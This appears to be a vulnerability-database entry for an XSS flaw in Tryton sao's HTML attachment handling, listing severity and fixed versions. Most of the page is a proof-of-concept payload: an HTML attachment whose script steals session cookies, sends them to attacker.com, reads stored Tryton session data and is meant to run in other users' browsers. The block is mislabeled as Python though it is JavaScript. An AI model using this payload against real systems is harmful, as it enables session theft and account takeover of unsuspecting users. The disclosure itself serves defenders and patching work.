Tryton sao (aka tryton-sao) before 7.6.9 allows XSS via an HTML attachment. This is fixed in 7.6.9, 7.4.19, 7.0.38, and 6.0.67.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Tryton sao < 7.6.9
Tryton sao < 7.4.19
Tryton sao < 7.0.38
Tryton sao < 6.0.67
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66420 PoC - Malicious HTML Attachment for Tryton sao XSS
// This PoC demonstrates how an attacker can inject JavaScript via HTML attachment
const maliciousHtml = `
<!DOCTYPE html>
<html>
<head>
<title>Document</title>
</head>
<body>
<script>
// Steal session cookies
const cookies = document.cookie;
console.log('Stolen cookies:', cookies);
// Exfiltrate data by sending to attacker-controlled server
fetch('https://attacker.com/steal?data=' + encodeURIComponent(cookies), {
method: 'GET',
mode: 'no-cors'
});
// Perform actions on behalf of the user
// Example: Read tryton session data
try {
const sessionData = localStorage.getItem('tryton_session');
console.log('Session data:', sessionData);
} catch(e) {
console.log('Error accessing session:', e);
}
// Display alert to confirm XSS (for testing only)
alert('XSS Vulnerability Confirmed - CVE-2025-66420');
</script>
<h1>Benign Document Content</h1>
<p>This HTML attachment contains hidden malicious JavaScript.</p>
</body>
</html>
`;
console.log('PoC HTML content generated');
console.log('Attack vector: Upload this HTML as attachment in Tryton sao');
console.log('Trigger: When other users view the attachment, JS executes in their browser context');